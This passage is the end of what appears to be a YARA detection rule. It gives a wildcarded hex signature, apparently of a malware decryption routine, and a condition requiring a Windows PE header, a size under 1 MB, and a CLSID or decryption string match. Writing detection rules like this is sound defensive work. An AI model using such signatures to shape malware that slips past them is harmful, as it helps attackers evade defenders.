                  CB 81 F3 ?? ?? ?? ?? 89 0C 24 89 5C 24 14 8B 54
                  24 14 C1 E2 1F D1 EB 0B DA 81 F3 ?? ?? ?? ?? 81
                  EB ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EB ?? ?? ??
                  ?? 8B 54 24 04 89 1A 83 C6 04 6B DB 00 8D 4B 04
                  03 D1 B9 01 00 00 00 F7 D9 8B 1C 24 03 D9 89 1C
                  24 8B 0C 24 75 9A 83 C4 20 5F 5E 5B C3 00 00 00}

    uint16(0) == 0x5A4D and filesize < 1000000 and ($clsid or $decryption)


Thank you for reading.